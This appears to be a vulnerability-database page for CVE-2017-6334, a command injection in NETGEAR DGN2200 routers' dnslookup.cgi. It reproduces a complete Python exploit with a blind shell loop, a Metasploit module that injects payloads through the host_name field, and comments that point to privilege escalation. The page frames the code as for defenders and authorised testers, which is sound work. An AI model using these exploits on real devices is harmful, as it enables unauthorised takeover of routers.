CVE-2017-6334

unknown KEV
Published 2022-03-25 ยท Modified 2022-03-25
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
2.5

Description

dnslookup.cgi on NETGEAR DGN2200 devices with firmware through 10.0.0.50 allows remote authenticated users to execute arbitrary OS commands

CISA KEV

Vendor
NETGEAR
Product
DGN2200 Devices
Due date
2022-04-15

Predictions

Exploit likelihood
99%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-41459 webapps hardware verified python ยท 1 KB
SivertPL ยท 2017-02-25

Netgear DGN2200v1/v2/v3/v4 - 'dnslookup.cgi' Remote Command Execution

python exploit Source: Exploit-DB
#!/usr/bin/python

#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon)
 
#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests
 
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to
 
login = 'admin'
password = 'password'
 
def main():
    if len(sys.argv) < 2:
        print "./netgearpwn_2.py <router ip>"
        return
    spawnShell()

def execute(cmd): #Escaping basic sanitization
    requests.post("http://" + sys.argv[1] + "/dnslookup.cgi", data={'host_name':"www.google.com; " + cmd, 'lookup': "Lookup"}, auth=(login, password))
    return

def spawnShell():
    print "Dropping a shell-like environment (blind OS injection)"
    print "To test it type 'reboot'"
    while True:
        cmd = raw_input("[blind $] ")
        execute(cmd)
 
if __name__ == "__main__":
    main()

#2017-02-25 by SivertPL
#Tak, to ja.
EDB-42257 remote cgi verified ruby ยท 3 KB
Metasploit ยท 2017-06-26

Netgear DGN2200 - 'dnslookup.cgi' Command Injection (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'
require "base64"

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'                 => "Netgear DGN2200 dnslookup.cgi Command Injection",
      'Description'          => %q{
        This module exploits a command injection vulnerablity in NETGEAR
        DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request
        with valid login details.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => 'unix',
      'Author'               => [
        'thecarterb',  # Metasploit Module
        'SivertPL'     # Vuln discovery
      ],
      'DefaultTarget'        => 0,
      'Privileged'           => true,
      'Arch'                 => [ARCH_CMD],
      'Targets'              => [
        [ 'NETGEAR DDGN2200 Router', { } ]
      ],
      'References'           =>
        [
          [ 'EDB', '41459'],
          [ 'CVE', '2017-6334']
        ],
      'DisclosureDate' => 'Feb 25 2017',
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ])

    register_advanced_options(
    [
      OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com'])
    ])
    end

  # Requests the login page which tells us the hardware version
  def check
    res = send_request_cgi({'uri'=>'/'})
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end
     # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\"NETGEAR "
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      vprint_status("Router is a NETGEAR router (#{model})")
      model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4']
      if model_numbers.include?(model)
        print_good("Router may be vulnerable (NETGEAR #{model})")
        return CheckCode::Detected
      else
        return CheckCode::Safe
      end
    else
      print_error('Router is not a NETGEAR router')
      return CheckCode::Safe
    end
  end

  def exploit
    check

    # Convert datastores
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    hostname = datastore['HOSTNAME']

    vprint_status("Using encoder: #{payload.encoder} ")
    print_status('Sending payload...')

    vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)")

    creds_combined = Base64.strict_encode64("#{user}:#{pass}")
    vprint_status("Encoded authentication: #{creds_combined}")

    res = send_request_cgi({
      'uri'         => '/dnslookup.cgi',
      'headers'     => {
        'Authorization' => "Basic #{creds_combined}"
      },
      'vars_post'   => {
        'lookup'    => 'Lookup',
        'host_name' => hostname + '; ' + payload.encoded
    }})

  end
end
EDB-41472 webapps hardware
SivertPL ยท 2017-02-28

Netgear DGN2200v1/v2/v3/v4 - Cross-Site Request Forgery

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Netgear DGN2200 dnslookup.cgi Command Injection
Source fetch failed: fetch_error โ€” view the original via the link above.

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.